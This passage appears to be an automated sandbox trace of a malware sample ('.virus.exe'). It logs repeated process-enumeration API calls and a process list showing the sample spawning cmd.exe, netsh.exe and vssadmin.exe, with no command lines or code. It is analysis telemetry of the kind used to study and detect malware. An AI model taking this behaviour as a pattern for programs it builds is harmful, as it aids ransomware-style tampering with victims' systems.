lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.321] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0230.322] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0230.322] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0230.322] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0230.323] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0230.323] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0230.323] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0230.324] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0230.324] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0230.324] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0230.325] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.325] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0230.325] CloseHandle (hObject=0x1b4) returned 1 [0230.325] Sleep (dwMilliseconds=0x1f4) [0230.827] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0230.830] Process32FirstW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.830] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.831] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.831] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.832] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.832] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.832] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.833] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.833] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.834] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0230.834] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.835] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.835] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.836] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.836] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.837] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.837] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.838] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.838] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.839] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.839] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.840] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0230.840] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.841] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0230.841] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0230.842] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0230.842] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0230.843] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0230.843] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0230.844] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0230.844] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0230.845] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0230.845] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0230.846] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.846] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0230.847] CloseHandle (hObject=0x1c4) returned 1 [0230.847] Sleep (dwMilliseconds=0x1f4) [0231.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0231.360] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.360] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.360] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.361] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.361] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.362] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.362] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.363] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.363] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.363] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0231.364] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.364] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.365] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.365] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.366] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.366] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.366] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.367] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.367] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.368] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.368] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.369] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0231.369] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.369] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0231.370] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0231.370] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0231.371] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0231.371] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0231.372] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0231.372] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0231.372] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0231.373] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0231.373] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0231.374] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, 